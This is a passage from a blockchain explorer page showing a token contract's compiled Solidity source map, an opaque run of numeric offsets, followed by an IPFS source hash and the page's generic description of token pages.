;3154:230::-;3073:12;:10;:12::i;:::-;3063:6;;-1:-1:-1;;;;;3063:6:0;;;:22;;;3055:67;;;;;-1:-1:-1;;;3055:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3245:6:::1;::::0;;3224:81:::1;::::0;3261:42:::1;::::0;-1:-1:-1;;;;;3245:6:0;;::::1;::::0;3224:81:::1;::::0;::::1;3316:6;:60:::0;;-1:-1:-1;;;;;;3316:60:0::1;3333:42;3316:60;::::0;;3154:230::o;12279:73::-;;;;;;;;;;;;;;;-1:-1:-1;12279:73:0;:::o;19841:109::-;19896:7;19917:1;19915;:3;19911:16;;;-1:-1:-1;19926:1:0;19919:8;;19911:16;-1:-1:-1;19943:1:0;;19841:109;-1:-1:-1;19841:109:0:o;12745:59::-;;;;:::o;12817:58::-;;;;:::o;13500:33::-;;;;:::o;13106:36::-;;;;:::o;12535:48::-;;;;;;;;;;;;;;;:::o;2929:79::-;2967:7;2994:6;-1:-1:-1;;;;;2994:6:0;2929:79;:::o;15562:87::-;15634:7;15627:14;;;;;;;-1:-1:-1;;15627:14:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15601:13;;15627:14;;15634:7;;15627:14;;15634:7;15627:14;;;;;;;;;;;;;;;;;;;;;;;;11895:32;;;-1:-1:-1;;;;;11895:32:0;;:::o;16324:269::-;16417:4;16434:129;16443:12;:10;:12::i;:::-;16457:7;16466:96;16505:15;16466:96;;;;;;;;;;;;;;;;;:11;:25;16478:12;:10;:12::i;:::-;-1:-1:-1;;;;;16466:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;16466:25:0;;;:34;;;;;;;;;;;:96;:38;:96::i;17480:167::-;17558:4;17575:42;17585:12;:10;:12::i;:::-;17599:9;17610:6;17575:9;:42::i;11802:86::-;;;-1:-1:-1;;;;;11802:86:0;;:::o;13274:35::-;;;;:::o;12939:26::-;;;-1:-1:-1;;;;;12939:26:0;;:::o;12476:52::-;;;;;;;;;;;;;;;:::o;13368:36::-;;;;:::o;12657:70::-;;;;:::o;13008:45::-;;;-1:-1:-1;;;13008:45:0;;;;;:::o;13232:35::-;;;;:::o;15959:143::-;-1:-1:-1;;;;;16067:18:0;;;16040:7;16067:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;15959:143::o;13411:39::-;;;;:::o;11691:104::-;;;;;;-1:-1:-1;;;;;11691:104:0;;:::o;13461:32::-;;;;:::o;3386:244::-;3073:12;:10;:12::i;:::-;3063:6;;-1:-1:-1;;;;;3063:6:0;;;:22;;;3055:67;;;;;-1:-1:-1;;;3055:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3475:22:0;::::1;3467:73;;;;-1:-1:-1::0;;;3467:73:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3577:6;::::0;;3556:38:::1;::::0;-1:-1:-1;;;;;3556:38:0;;::::1;::::0;3577:6;::::1;::::0;3556:38:::1;::::0;::::1;3605:6;:17:::0;;-1:-1:-1;;;;;;3605:17:0::1;-1:-1:-1::0;;;;;3605:17:0;;;::::1;::::0;;;::::1;::::0;;3386:244::o;12241:31::-;;;;:::o;13062:35::-;;;-1:-1:-1;;;13062:35:0;;;;;:::o;1665:230::-;1723:7;1747:6;1743:47;;-1:-1:-1;1777:1:0;1770:8;;1743:47;1805:5;;;1809:1;1805;:5;:1;1829:5;;;;;:10;1821:56;;;;-1:-1:-1;;;1821:56:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1897:132;1955:7;1982:39;1986:1;1989;1982:39;;;;;;;;;;;;;;;;;:3;:39::i;1172:170::-;1230:7;1262:5;;;1286:6;;;;1278:46;;;;;-1:-1:-1;;;1278:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;236:115;332:10;236:115;:::o;16758:326::-;-1:-1:-1;;;;;16851:19:0;;16843:68;;;;-1:-1:-1;;;16843:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16930:21:0;;16922:68;;;;-1:-1:-1;;;16922:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16992:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17044:32;;;;;;;;;;;;;;;;;16758:326;;;:::o;17972:1737::-;18059:4;-1:-1:-1;;;;;18075:20:0;;18067:70;;;;-1:-1:-1;;;18067:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18156:23:0;;18148:71;;;;-1:-1:-1;;;18148:71:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18242:16;;-1:-1:-1;;;18242:16:0;;;;18239:1463;;;18292:41;18307:6;18315:9;18326:6;18292:14;:41::i;:::-;18285:48;;;;18239:1463;-1:-1:-1;;;;;18380:23:0;;;;;;:15;:23;;;;;;;;18379:24;:55;;;;-1:-1:-1;;;;;;18408:26:0;;;;;;:15;:26;;;;;;;;18407:27;18379:55;18376:171;;;18474:12;;18464:6;:22;;18456:75;;;;-1:-1:-1;;;18456:75:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18552:28;18583:24;18601:4;18583:9;:24::i;:::-;18677:23;;18552:55;;-1:-1:-1;18653:47:0;;;;;;;18733:44;;-1:-1:-1;18761:16:0;;-1:-1:-1;;;18761:16:0;;;;18760:17;18733:44;:69;;;;-1:-1:-1;;;;;;18782:20:0;;;;;;:12;:20;;;;;;;;18781:21;18733:69;18729:280;;;18840:25;;-1:-1:-1;;;18840:25:0;;;;18837:97;;;18911:23;;18888:46;;18837:97;18953:36;18968:20;18953:14;:36::i;:::-;19026:16;;-1:-1:-1;;;19026:16:0;;;;:51;;;;-1:-1:-1;;;;;;19047:30:0;;;;;;:19;:30;;;;;;;;19046:31;19026:51;19023:202;;;19158:10;;19088:66;19113:40;19148:4;19113:30;19124:18;;19113:6;:10;;:30;;;;:::i;:::-;:34;;:40::i;:::-;19088:20;19098:9;19088;:20::i;:::-;:24;;:66::i;:::-;:80;;19080:129;;;;-1:-1:-1;;;19080:129:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19257:40;19292:4;19257:30;19268:18;;19257:6;:10;;:30;;;;:::i;:40::-;19240:16;:57;19351:18;;19340:40;;19375:4;;19340:30;;:6;;:10;:30::i;:40::-;19331:49;;19314:16;:66;-1:-1:-1;;;;;19407:23:0;;;;;;:15;:23;;;;;;;;19406:24;;:56;;-1:-1:-1;;;;;;19436:26:0;;;;;;:15;:26;;;;;;;;19435:27;19406:56;19404:112;;;-1:-1:-1;;;;;;19467:23:0;;;;;;:12;:23;;;;;;;;;:47;;-1:-1:-1;;;;;;19494:20:0;;;;;;:12;:20;;;;;;;;19467:47;19400:208;;;19518:17;:23;;19537:4;19518:23;;;19400:208;;;19569:17;:23;;19588:4;19569:23;;;;;19548:20;:44;19594:12;:10;:12::i;:::-;19622:41;19637:6;19645:9;19656:6;19622:14;:41::i;:::-;;19686:4;19679:11;;;;;;1482:181;1568:7;1604:12;1596:6;;;;1588:29;;;;-1:-1:-1;;;1588:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;1640:5:0;;;1482:181::o;1344:136::-;1402:7;1429:43;1433:1;1436;1429:43;;;;;;;;;;;;;;;;;:3;:43::i;2031:277::-;2117:7;2152:12;2145:5;2137:28;;;;-1:-1:-1;;;2137:28:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2176:9;2192:1;2188;:5;;;;;;;2031:277;-1:-1:-1;;;;;2031:277:0:o;19956:636::-;20086:53;;;;;;;;;;;-1:-1:-1;;;20086:53:0;;;;;;;;-1:-1:-1;;;;;20086:17:0;;20049:4;20086:17;;;:9;:17;;;;;;;:53;;20108:6;;20086:21;:53::i;:::-;-1:-1:-1;;;;;20066:17:0;;;;;;:9;:17;;;;;:73;20154:16;;-1:-1:-1;;;20154:16:0;;;;20151:67;;;20172:16;:23;;;20215:1;20198:16;:18;20151:67;20228:22;20253:100;20257:13;20271:1;20257:16;;-1:-1:-1;;20253:3:0;:100::i;:::-;-1:-1:-1;;;;;20387:20:0;;;;;;:9;:20;;;;;;20228:125;;-1:-1:-1;20387:40:0;;20228:125;20387:24;:40::i;:::-;-1:-1:-1;;;;;20364:20:0;;;;;;:9;:20;;;;;;:63;;;;20496:16;;20484:4;20466:24;;;;;;:47;;:28;:47::i;:::-;20457:4;20439:24;;;;:9;:24;;;;;;;;;:74;;;;20529:35;;;;;;;-1:-1:-1;;;;;20529:35:0;;;;;;;;;;;;;;;;;;;-1:-1:-1;20582:4:0;;19956:636;-1:-1:-1;;;;19956:636:0:o;20598:294::-;13958:16;:23;;-1:-1:-1;;;;13958:23:0;-1:-1:-1;;;13958:23:0;;;20670:25:::1;20687:7:::0;20670:16:::1;:25::i;:::-;20733:21;20768:19:::0;;20765:113:::1;;20812:27;::::0;20804:62:::1;::::0;20812:27:::1;::::0;;::::1;-1:-1:-1::0;;;;;20812:27:0::1;::::0;20804:62:::1;::::0;::::1;;::::0;;;::::1;::::0;;;;20812:27;20804:62;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;20765:113;-1:-1:-1::0;;14004:16:0;:24;;-1:-1:-1;;;;14004:24:0;;;20598:294::o;19709:126::-;19765:17;;19761:24;;19740:20;:45;19787:16;:46;;19805:28;19787:46;;;19709:126::o;20898:668::-;21048:16;;;21062:1;21048:16;;;21024:21;21048:16;;;;;21024:21;21048:16;;;;;;;;-1:-1:-1;;21085:15:0;;:22;;;-1:-1:-1;;;21085:22:0;;;;21024:40;;-1:-1:-1;;;;;;21085:15:0;;;;:20;;-1:-1:-1;21085:22:0;;;;;;;;;;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;21085:22:0;21075:7;;:4;;21080:1;;21075:7;;;;;;;;;;;:32;-1:-1:-1;;;;;21075:32:0;;;-1:-1:-1;;;;;21075:32:0;;;;;21136:4;21118;21123:1;21118:7;;;;;;;;-1:-1:-1;;;;;21118:23:0;;;:7;;;;;;;;;:23;21173:17;;;21152:20;:38;21219:2;21201:20;;21264:15;;21232:62;;21249:4;;21264:15;21282:11;21232:8;:62::i;:::-;21322:15;;:240;;-1:-1:-1;;;21322:240:0;;;;;;;;:15;:240;;;;;;21500:4;21322:240;;;;;;21536:15;21322:240;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;21322:15:0;;;;:66;;21403:11;;21473:4;;21500;21536:15;21322:240;;;;;;;;;;;;;;;;:15;:240;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20898:668;;:::o

Swarm Source

ipfs://19ce62e0a05b3a6d3ae5ce9cdfd2972f85f84eab5678ee26554e9b4c9379440b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.